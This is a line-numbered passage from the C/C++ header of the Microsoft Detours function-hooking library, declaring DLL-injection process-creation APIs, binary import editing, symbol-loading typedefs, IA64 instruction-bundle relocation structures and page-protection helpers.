572 | BOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary,
573 | _In_opt_ PVOID pContext,
574 | _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway,
575 | _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile,
576 | _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol,
577 | _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit);
578 | BOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile);
579 | BOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary);
580 |
581 | /////////////////////////////////////////////////// Create Process & Load Dll.
582 | //
583 | typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEA)(
584 | _In_opt_ LPCSTR lpApplicationName,
585 | _Inout_opt_ LPSTR lpCommandLine,
586 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
587 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
588 | _In_ BOOL bInheritHandles,
589 | _In_ DWORD dwCreationFlags,
590 | _In_opt_ LPVOID lpEnvironment,
591 | _In_opt_ LPCSTR lpCurrentDirectory,
592 | _In_ LPSTARTUPINFOA lpStartupInfo,
593 | _Out_ LPPROCESS_INFORMATION lpProcessInformation);
594 |
595 | typedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEW)(
596 | _In_opt_ LPCWSTR lpApplicationName,
597 | _Inout_opt_ LPWSTR lpCommandLine,
598 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
599 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
600 | _In_ BOOL bInheritHandles,
601 | _In_ DWORD dwCreationFlags,
602 | _In_opt_ LPVOID lpEnvironment,
603 | _In_opt_ LPCWSTR lpCurrentDirectory,
604 | _In_ LPSTARTUPINFOW lpStartupInfo,
605 | _Out_ LPPROCESS_INFORMATION lpProcessInformation);
606 |
607 | BOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName,
608 | _Inout_opt_ LPSTR lpCommandLine,
609 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
610 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
611 | _In_ BOOL bInheritHandles,
612 | _In_ DWORD dwCreationFlags,
613 | _In_opt_ LPVOID lpEnvironment,
614 | _In_opt_ LPCSTR lpCurrentDirectory,
615 | _In_ LPSTARTUPINFOA lpStartupInfo,
616 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
617 | _In_ LPCSTR lpDllName,
618 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
619 |
620 | BOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName,
621 | _Inout_opt_ LPWSTR lpCommandLine,
622 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
623 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
624 | _In_ BOOL bInheritHandles,
625 | _In_ DWORD dwCreationFlags,
626 | _In_opt_ LPVOID lpEnvironment,
627 | _In_opt_ LPCWSTR lpCurrentDirectory,
628 | _In_ LPSTARTUPINFOW lpStartupInfo,
629 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
630 | _In_ LPCSTR lpDllName,
631 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
632 |
633 | #ifdef UNICODE
634 | #define DetourCreateProcessWithDll DetourCreateProcessWithDllW
635 | #define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEW
636 | #else
637 | #define DetourCreateProcessWithDll DetourCreateProcessWithDllA
638 | #define PDETOUR_CREATE_PROCESS_ROUTINE PDETOUR_CREATE_PROCESS_ROUTINEA
639 | #endif // !UNICODE
640 |
641 | BOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName,
642 | _Inout_opt_ LPSTR lpCommandLine,
643 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
644 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
645 | _In_ BOOL bInheritHandles,
646 | _In_ DWORD dwCreationFlags,
647 | _In_opt_ LPVOID lpEnvironment,
648 | _In_opt_ LPCSTR lpCurrentDirectory,
649 | _In_ LPSTARTUPINFOA lpStartupInfo,
650 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
651 | _In_ LPCSTR lpDllName,
652 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
653 |
654 | BOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName,
655 | _Inout_opt_ LPWSTR lpCommandLine,
656 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
657 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
658 | _In_ BOOL bInheritHandles,
659 | _In_ DWORD dwCreationFlags,
660 | _In_opt_ LPVOID lpEnvironment,
661 | _In_opt_ LPCWSTR lpCurrentDirectory,
662 | _In_ LPSTARTUPINFOW lpStartupInfo,
663 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
664 | _In_ LPCSTR lpDllName,
665 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
666 |
667 | #ifdef UNICODE
668 | #define DetourCreateProcessWithDllEx DetourCreateProcessWithDllExW
669 | #else
670 | #define DetourCreateProcessWithDllEx DetourCreateProcessWithDllExA
671 | #endif // !UNICODE
672 |
673 | BOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName,
674 | _Inout_opt_ LPSTR lpCommandLine,
675 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
676 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
677 | _In_ BOOL bInheritHandles,
678 | _In_ DWORD dwCreationFlags,
679 | _In_opt_ LPVOID lpEnvironment,
680 | _In_opt_ LPCSTR lpCurrentDirectory,
681 | _In_ LPSTARTUPINFOA lpStartupInfo,
682 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
683 | _In_ DWORD nDlls,
684 | _In_reads_(nDlls) LPCSTR *rlpDlls,
685 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
686 |
687 | BOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName,
688 | _Inout_opt_ LPWSTR lpCommandLine,
689 | _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
690 | _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
691 | _In_ BOOL bInheritHandles,
692 | _In_ DWORD dwCreationFlags,
693 | _In_opt_ LPVOID lpEnvironment,
694 | _In_opt_ LPCWSTR lpCurrentDirectory,
695 | _In_ LPSTARTUPINFOW lpStartupInfo,
696 | _Out_ LPPROCESS_INFORMATION lpProcessInformation,
697 | _In_ DWORD nDlls,
698 | _In_reads_(nDlls) LPCSTR *rlpDlls,
699 | _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
700 |
701 | #ifdef UNICODE
702 | #define DetourCreateProcessWithDlls DetourCreateProcessWithDllsW
703 | #else
704 | #define DetourCreateProcessWithDlls DetourCreateProcessWithDllsA
705 | #endif // !UNICODE
706 |
707 | BOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid,
708 | _In_ LPCSTR lpDllName,
709 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
710 |
711 | BOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid,
712 | _In_ LPCSTR lpDllName,
713 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
714 |
715 | #ifdef UNICODE
716 | #define DetourProcessViaHelper DetourProcessViaHelperW
717 | #else
718 | #define DetourProcessViaHelper DetourProcessViaHelperA
719 | #endif // !UNICODE
720 |
721 | BOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid,
722 | _In_ DWORD nDlls,
723 | _In_reads_(nDlls) LPCSTR *rlpDlls,
724 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);
725 |
726 | BOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid,
727 | _In_ DWORD nDlls,
728 | _In_reads_(nDlls) LPCSTR *rlpDlls,
729 | _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);
730 |
731 | #ifdef UNICODE
732 | #define DetourProcessViaHelperDlls DetourProcessViaHelperDllsW
733 | #else
734 | #define DetourProcessViaHelperDlls DetourProcessViaHelperDllsA
735 | #endif // !UNICODE
736 |
737 | BOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess,
738 | _In_reads_(nDlls) LPCSTR *rlpDlls,
739 | _In_ DWORD nDlls);
740 |
741 | BOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess,
742 | _In_ HMODULE hImage,
743 | _In_ BOOL bIs32Bit,
744 | _In_reads_(nDlls) LPCSTR *rlpDlls,
745 | _In_ DWORD nDlls);
746 |
747 | BOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess,
748 | _In_ REFGUID rguid,
749 | _In_reads_bytes_(cbData) PVOID pvData,
750 | _In_ DWORD cbData);
751 | BOOL WINAPI DetourRestoreAfterWith(VOID);
752 | BOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData,
753 | _In_ DWORD cbData);
754 | BOOL WINAPI DetourIsHelperProcess(VOID);
755 | VOID CALLBACK DetourFinishHelperProcess(_In_ HWND,
756 | _In_ HINSTANCE,
757 | _In_ LPSTR,
758 | _In_ INT);
759 |
760 | //
761 | //////////////////////////////////////////////////////////////////////////////
762 | #ifdef __cplusplus
763 | }
764 | #endif // __cplusplus
765 |
766 | //////////////////////////////////////////////// Detours Internal Definitions.
767 | //
768 | #ifdef __cplusplus
769 | #ifdef DETOURS_INTERNAL
770 |
771 | #define NOTHROW
772 | // #define NOTHROW (nothrow)
773 |
774 | //////////////////////////////////////////////////////////////////////////////
775 | //
776 | #if (_MSC_VER < 1299)
777 | #include
778 | typedef IMAGEHLP_MODULE IMAGEHLP_MODULE64;
779 | typedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64;
780 | typedef IMAGEHLP_SYMBOL SYMBOL_INFO;
781 | typedef PIMAGEHLP_SYMBOL PSYMBOL_INFO;
782 |
783 | static inline
784 | LONG InterlockedCompareExchange(_Inout_ LONG *ptr, _In_ LONG nval, _In_ LONG oval)
785 | {
786 | return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval);
787 | }
788 | #else
789 | #pragma warning(push)
790 | #pragma warning(disable:4091) // empty typedef
791 | #include
792 | #pragma warning(pop)
793 | #endif
794 |
795 | #ifdef IMAGEAPI // defined by DBGHELP.H
796 | typedef LPAPI_VERSION (NTAPI *PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion);
797 |
798 | typedef BOOL (NTAPI *PF_SymInitialize)(_In_ HANDLE hProcess,
799 | _In_opt_ LPCSTR UserSearchPath,
800 | _In_ BOOL fInvadeProcess);
801 | typedef DWORD (NTAPI *PF_SymSetOptions)(_In_ DWORD SymOptions);
802 | typedef DWORD (NTAPI *PF_SymGetOptions)(VOID);
803 | typedef DWORD64 (NTAPI *PF_SymLoadModule64)(_In_ HANDLE hProcess,
804 | _In_opt_ HANDLE hFile,
805 | _In_ LPSTR ImageName,
806 | _In_opt_ LPSTR ModuleName,
807 | _In_ DWORD64 BaseOfDll,
808 | _In_opt_ DWORD SizeOfDll);
809 | typedef BOOL (NTAPI *PF_SymGetModuleInfo64)(_In_ HANDLE hProcess,
810 | _In_ DWORD64 qwAddr,
811 | _Out_ PIMAGEHLP_MODULE64 ModuleInfo);
812 | typedef BOOL (NTAPI *PF_SymFromName)(_In_ HANDLE hProcess,
813 | _In_ LPSTR Name,
814 | _Out_ PSYMBOL_INFO Symbol);
815 |
816 | typedef struct _DETOUR_SYM_INFO
817 | {
818 | HANDLE hProcess;
819 | HMODULE hDbgHelp;
820 | PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx;
821 | PF_SymInitialize pfSymInitialize;
822 | PF_SymSetOptions pfSymSetOptions;
823 | PF_SymGetOptions pfSymGetOptions;
824 | PF_SymLoadModule64 pfSymLoadModule64;
825 | PF_SymGetModuleInfo64 pfSymGetModuleInfo64;
826 | PF_SymFromName pfSymFromName;
827 | } DETOUR_SYM_INFO, *PDETOUR_SYM_INFO;
828 |
829 | PDETOUR_SYM_INFO DetourLoadImageHlp(VOID);
830 |
831 | #endif // IMAGEAPI
832 |
833 | #if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS)
834 | #error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier)
835 | #endif
836 | #define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1
837 |
838 | #ifndef DETOUR_TRACE
839 | #if DETOUR_DEBUG
840 | #define DETOUR_TRACE(x) printf x
841 | #define DETOUR_BREAK() __debugbreak()
842 | #include
843 | #include
844 | #else
845 | #define DETOUR_TRACE(x)
846 | #define DETOUR_BREAK()
847 | #endif
848 | #endif
849 |
850 | #if 1 || defined(DETOURS_IA64)
851 |
852 | //
853 | // IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle.
854 | //
855 |
856 | #define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3)
857 |
858 | #define DETOUR_IA64_TEMPLATE_OFFSET (0)
859 | #define DETOUR_IA64_TEMPLATE_SIZE (5)
860 |
861 | #define DETOUR_IA64_INSTRUCTION_SIZE (41)
862 | #define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE)
863 | #define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
864 | #define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
865 |
866 | C_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128);
867 |
868 | __declspec(align(16)) struct DETOUR_IA64_BUNDLE
869 | {
870 | public:
871 | union
872 | {
873 | BYTE data[16];
874 | UINT64 wide[2];
875 | };
876 |
877 | enum {
878 | A_UNIT = 1u,
879 | I_UNIT = 2u,
880 | M_UNIT = 3u,
881 | B_UNIT = 4u,
882 | F_UNIT = 5u,
883 | L_UNIT = 6u,
884 | X_UNIT = 7u,
885 | };
886 | struct DETOUR_IA64_METADATA
887 | {
888 | ULONG nTemplate : 8; // Instruction template.
889 | ULONG nUnit0 : 4; // Unit for slot 0
890 | ULONG nUnit1 : 4; // Unit for slot 1
891 | ULONG nUnit2 : 4; // Unit for slot 2
892 | };
893 |
894 | protected:
895 | static const DETOUR_IA64_METADATA s_rceCopyTable[33];
896 |
897 | UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;
898 |
899 | bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst,
900 | _In_ BYTE slot,
901 | _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;
902 |
903 | // 120 112 104 96 88 80 72 64 56 48 40 32 24 16 8 0
904 | // f. e. d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0.
905 |
906 | // 00
907 | // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0.
908 | // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0]
909 | // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41.. 5]
910 | // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42]
911 | // 0000 0000 0007 ffff ffff c000 0000 0000 : One [ 82.. 46]
912 | // 0000 0000 0078 0000 0000 0000 0000 0000 : One [ 86.. 83]
913 | // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two [123.. 87]
914 | // f000 0000 0000 0000 0000 0000 0000 0000 : Two [127..124]
915 | BYTE GetTemplate() const;
916 | // Get 4 bit opcodes.
917 | BYTE GetInst0() const;
918 | BYTE GetInst1() const;
919 | BYTE GetInst2() const;
920 | BYTE GetUnit(BYTE slot) const;
921 | BYTE GetUnit0() const;
922 | BYTE GetUnit1() const;
923 | BYTE GetUnit2() const;
924 | // Get 37 bit data.
925 | UINT64 GetData0() const;
926 | UINT64 GetData1() const;
927 | UINT64 GetData2() const;
928 |
929 | // Get/set the full 41 bit instructions.
930 | UINT64 GetInstruction(BYTE slot) const;
931 | UINT64 GetInstruction0() const;
932 | UINT64 GetInstruction1() const;
933 | UINT64 GetInstruction2() const;
934 | void SetInstruction(BYTE slot, UINT64 instruction);
935 | void SetInstruction0(UINT64 instruction);
936 | void SetInstruction1(UINT64 instruction);
937 | void SetInstruction2(UINT64 instruction);
938 |
939 | // Get/set bitfields.
940 | static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count);
941 | static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field);
942 |
943 | // Get specific read-only fields.
944 | static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode
945 | static UINT64 GetX(UINT64 instruction); // 1bit opcode extension
946 | static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension
947 | static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension
948 |
949 | // Get/set specific fields.
950 | static UINT64 GetImm7a(UINT64 instruction);
951 | static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a);
952 | static UINT64 GetImm13c(UINT64 instruction);
953 | static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c);
954 | static UINT64 GetSignBit(UINT64 instruction);
955 | static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit);
956 | static UINT64 GetImm20a(UINT64 instruction);
957 | static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a);
958 | static UINT64 GetImm20b(UINT64 instruction);
959 | static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b);
960 |
961 | static UINT64 SignExtend(UINT64 Value, UINT64 Offset);
962 |
963 | BOOL IsMovlGp() const;
964 |
965 | VOID SetInst(BYTE Slot, BYTE nInst);
966 | VOID SetInst0(BYTE nInst);
967 | VOID SetInst1(BYTE nInst);
968 | VOID SetInst2(BYTE nInst);
969 | VOID SetData(BYTE Slot, UINT64 nData);
970 | VOID SetData0(UINT64 nData);
971 | VOID SetData1(UINT64 nData);
972 | VOID SetData2(UINT64 nData);
973 | BOOL SetNop(BYTE Slot);
974 | BOOL SetNop0();
975 | BOOL SetNop1();
976 | BOOL SetNop2();
977 |
978 | public:
979 | BOOL IsBrl() const;
980 | VOID SetBrl();
981 | VOID SetBrl(UINT64 target);
982 | UINT64 GetBrlTarget() const;
983 | VOID SetBrlTarget(UINT64 target);
984 | VOID SetBrlImm(UINT64 imm);
985 | UINT64 GetBrlImm() const;
986 |
987 | UINT64 GetMovlGp() const;
988 | VOID SetMovlGp(UINT64 gp);
989 |
990 | VOID SetStop();
991 |
992 | UINT Copy(_Out_ DETOUR_IA64_BUNDLE *pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const;
993 | };
994 | #endif // DETOURS_IA64
995 |
996 | #ifdef DETOURS_ARM
997 |
998 | #define DETOURS_PFUNC_TO_PBYTE(p) ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1))
999 | #define DETOURS_PBYTE_TO_PFUNC(p) ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1))
1000 |
1001 | #endif // DETOURS_ARM
1002 |
1003 | //////////////////////////////////////////////////////////////////////////////
1004 |
1005 | #ifdef __cplusplus
1006 | extern "C" {
1007 | #endif // __cplusplus
1008 |
1009 | #define DETOUR_OFFLINE_LIBRARY(x) \
1010 | PVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst, \
1011 | _Inout_opt_ PVOID *ppDstPool, \
1012 | _In_ PVOID pSrc, \
1013 | _Out_opt_ PVOID *ppTarget, \
1014 | _Out_opt_ LONG *plExtra); \
1015 | \
1016 | BOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule, \
1017 | _In_ BOOL fLimitReferencesToModule); \
1018 |
1019 | DETOUR_OFFLINE_LIBRARY(X86)
1020 | DETOUR_OFFLINE_LIBRARY(X64)
1021 | DETOUR_OFFLINE_LIBRARY(ARM)
1022 | DETOUR_OFFLINE_LIBRARY(ARM64)
1023 | DETOUR_OFFLINE_LIBRARY(IA64)
1024 |
1025 | #undef DETOUR_OFFLINE_LIBRARY
1026 |
1027 | //////////////////////////////////////////////////////////////////////////////
1028 | //
1029 | // Helpers for manipulating page protection.
1030 | //
1031 |
1032 | _Success_(return != FALSE)
1033 | BOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_ HANDLE hProcess,
1034 | _In_ PVOID pAddress,
1035 | _In_ SIZE_T nSize,
1036 | _In_ DWORD dwNewProtect,
1037 | _Out_ PDWORD pdwOldProtect);
1038 |
1039 | _Success_(return != FALSE)
1040 | BOOL WINAPI DetourVirtualProtectSameExecute(_In_ PVOID pAddress,
1041 | _In_ SIZE_T nSize,
1042 | _In_ DWORD dwNewProtect,
1043 | _Out_ PDWORD pdwOldProtect);
1044 | #ifdef __cplusplus
1045 | }
1046 | #endif // __cplusplus
1047 |
1048 | //////////////////////////////////////////////////////////////////////////////
1049 |
1050 | #define MM_ALLOCATION_GRANULARITY 0x10000
1051 |
1052 | //////////////////////////////////////////////////////////////////////////////
1053 |
1054 | #endif // DETOURS_INTERNAL
1055 | #endif // __cplusplus
1056 |
1057 | #endif // _DETOURS_H_
1058 | //
1059 | //////////////////////////////////////////////////////////////// End of File.
1060 |
--------------------------------------------------------------------------------